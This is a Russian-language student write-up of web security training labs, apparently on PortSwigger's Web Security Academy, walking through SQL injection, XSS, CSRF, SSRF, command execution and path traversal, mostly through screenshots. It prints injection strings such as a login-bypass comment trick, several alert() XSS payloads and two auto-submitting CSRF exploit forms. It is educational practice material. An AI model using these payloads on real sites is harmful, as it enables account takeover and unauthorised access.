# Web 3 Скрины с доказательствами выполнения лаб: ![](https://i.imgur.com/IaMl6vm.png) ![](https://i.imgur.com/YGQCNvc.png) ![](https://i.imgur.com/HzFN4rW.png) ![](https://i.imgur.com/GqotWb9.png) ![](https://i.imgur.com/Snpc8Az.png) ![](https://i.imgur.com/PyJUvsJ.png) ![](https://i.imgur.com/kliKhkg.png) ![](https://i.imgur.com/KwhGwPm.png) # SQL-injection уязвимости ## login-bypass **Зайдём в "интернет-магазин" и попробуем залогинится так, чтобы запрос говорил "не смотри на следующее поле" Логин: administrator'-- Пароль: любой** ![](https://i.imgur.com/39mi2Z8.png) **Зашли успешно** ![](https://i.imgur.com/g6KSXTQ.png) **Сменили почту админа** ![](https://i.imgur.com/XqLNic6.png) ## Показать все товары, которые даже сняты с продажи или проданы **Меняем запрос и добавляем конструкцию, которая всегда возвращает правду, поэтому с помощью неё можно выгрузить всю таблицу, но чтобы запрос игнорировал на всякий случай всё то, что может идти после, добавим "--" ![](https://i.imgur.com/eE2IPxW.png)** **Результат** ![](https://i.imgur.com/LmgzZit.png) **Отметка о выполнении лабы** ![](https://i.imgur.com/RfSkeOx.png) ## Атака UNION SQL-инъекций Также меняем запрос. Но здесь уже схема с объединением двух разных запросов с помощью UNION. Вместе с информацией об аксессуарах вывести username, password из таблицы пользователей ![](https://i.imgur.com/96Oo7c9.png) Получили, взяли пароль от админа, ввели ![](https://i.imgur.com/iVcJq5Y.png) Прошли на сайт аки админ всея SQL ![](https://i.imgur.com/XmN8gWk.png) ## Burp Suite Для выполнения этой лабораторной используется Burp Suite Открываем его браузер, заходим в категорию pets, далее по инструкции со скриншота ![](https://i.imgur.com/vnwR5Cd.png) Перехлди в раздел Repeator и в нашем запросе добавляем union с одним полем, увидели ошибку ![](https://i.imgur.com/TR9poob.png) Тоже самое, но добавим ещё поле. Ошибки нет, значит в их бд всего два столбца ![](https://i.imgur.com/2HrvB8c.png) Теперь выведем строку версии бд ![](https://i.imgur.com/OyvduoF.png) # XSS уязвимости ## Уязвимость межсайтового скриптинга в функциональности комментариев. Напишем любое имя и почту, ссылку на сайт, на котором сидим, и текст комментария `<script>alert(1)</script>` ![](https://i.imgur.com/JJMriNC.png) успешно закончили лабу (да, это всё) ![](https://i.imgur.com/1AHXqhE.png) а комментарии пустые, кстати, просто потому, что текст из него был воспринят частью запроса и исполнен (вызывает функцию оповещения при просмотре записи в блоге), а не записан текстом ![](https://i.imgur.com/84qykk6.png) ## Уязвимость межсайтового скриптинга на основе DOM в функциональности поисковых запросов. Нам нужно сделать так, чтобы наш запрос в поисковой строке выводился потом не как изображение, например, так происходит с jump ![](https://i.imgur.com/XJvpB3N.png) Введём `"><svg onload=alert(1)>`, кавычки и уголок как раз закроют img и наше слово не окажется "заключенным" там) ![](https://i.imgur.com/PorNc0w.png) ## Отраженный DOM и JS Любую ерунду пишем, запрос в повторитель кидаем ![](https://i.imgur.com/R1apE1V.png) Анализируем запрос и видим, как отражаются строки, введённые в поисковую строку ![](https://i.imgur.com/67FUwC2.png) Понимаем, как сломать, нам нужно закрыть кавычки, поэтому введём '-alert(1)-' ![](https://i.imgur.com/q8nPQKg.png) Предупреждение выведено ![](https://i.imgur.com/fmH5t4E.png) Если скопируем ссылку и втавим её в поисковик, предупреждение появится снова ![](https://i.imgur.com/nuqduFd.png) ## Отраженный DOM и JSON Нам нужно запустить функцию alert(). Для этого сначала проанализируем запросы. Введём в поисковой строке XSS. Увидим, что данные отправляют ответ в json-объекте ![](https://i.imgur.com/yIBdTnA.png) Здесь просто перешли в прикольном приложении в другю вкладку, нашли папку с js файлами. ![](https://i.imgur.com/zcDsLx1.png) Увидели, что json-объект использует функцию eval(). Что она делает? Обрабатывает входную строку и исполняет содержащееся в строке выражение, также так как мы работаем с json, нужно вспомнить его экранирование символов: обратный слеш не экранируется, кавычки экранируются им. Получается, что при вводе в поисковую строку `\"-alert(1)}//`, кавычки экранируются \, что даёт `\\"-alert(1)}//` -> `"-alert(1)}` (именно эту строку и будет исполнять функция eval(), поэтому после этого запроса, мы увидим предупреждение ![](https://i.imgur.com/vXBsPLy.png) Предупреждение ![](https://i.imgur.com/N7DT1zh.png) Успех) ![](https://i.imgur.com/hHtMxCW.png) # CSRF ## Подмена почты Заходим в аккаунт с данными из задания, меняем почту ![](https://i.imgur.com/UoN3aD0.png) Поменяли ![](https://i.imgur.com/E7UFgSg.png) Теперь пишем эксплойт, вставляем на сервер и применяем ![](https://i.imgur.com/TUBfoZp.png) Почта изменилась (перед тем, как лаба была пройдена, нажата третья кнопка) ![](https://i.imgur.com/elBZiUc.png) Сам код ``` <html> <body> <script>history.pushState('' , '', "/") </script> <form method="POST" action="https://0a9200ec03232ac1c0236f5100a10025.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="SuperMAN&#64;sdcghj&#46;com" /> <input type="sumbit" value="Sumbit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` ## Подмена почты с помощью post запроса Зашли и поменяли почту ![](https://i.imgur.com/2S9D5nC.png) Нашли нужный запрос, отправили его в повторитель ![](https://i.imgur.com/jhKCWsg.png) Меняем запрос Было ![](https://i.imgur.com/14765xw.png) Стало (правая кнопка -> изменить метод) ![](https://i.imgur.com/QmQHPxU.png) Изменяем csrf и посылаем запрос ![](https://i.imgur.com/DTwrFo0.png) Пишем скрипт <html> <body> <script>history.pushState('' , '', "/") </script> <form action="https://0a7700a7039786d4c0c1968100e2006b.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="aaaa#64;gg&#46;com" /> <input type="hidden" name="csrf" value="12345" /> <input type="sumbit" value="Sumbit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> Применяем как и в пункте выше ![](https://i.imgur.com/kGdsaKN.png) ![](https://i.imgur.com/7sM5DnQ.png) # SSRF ## Удаление Карлоса Перехватываем запрос и меняем конец, пишем сайт, куда подключиться нужно ![](https://i.imgur.com/t2bcGNO.png) Отправляем новый запрос, нам открывается страница админа ![](https://i.imgur.com/f0qcc4p.png) Удаляем карлоса ( было ![](https://i.imgur.com/rOWdRA8.png) стало ![](https://i.imgur.com/dbtH2DY.png) ![](https://i.imgur.com/huP5rDw.png) ## Удаляем Карлоса второй раз Такой же алгоритм (изменяем stockapi, последняя строчка, чтобы увидеть панель админа) ![](https://i.imgur.com/8XKdBIm.png) Теперь чтобы удалить Карлоса ![](https://i.imgur.com/SbJ7pa4.png) Результат ![](https://i.imgur.com/pVMrBqJ.png) Лаба готова ![](https://i.imgur.com/3M0PQpm.png) # RCE Просто в конце запроса написали команду ![](https://i.imgur.com/TUqNxj1.png) Вывели, хто мы ![](https://i.imgur.com/5fToH0R.png) Приняли ![](https://i.imgur.com/j2KZLTt.png) # Path traversal ## File path traversal, simple case Было ![](https://i.imgur.com/63JepRw.png) Стало ![](https://i.imgur.com/mJSzf8L.png) Получили результат ![](https://i.imgur.com/6RJkm4X.png) ## File path traversal, traversal sequences blocked with absolute path bypass Изменили запрос в этом месте: ![](https://i.imgur.com/hXSNRzs.png) Получили такой ответ: ![](https://i.imgur.com/CPZ6GB3.png) ![Uploading file..._j3au7xlxn]()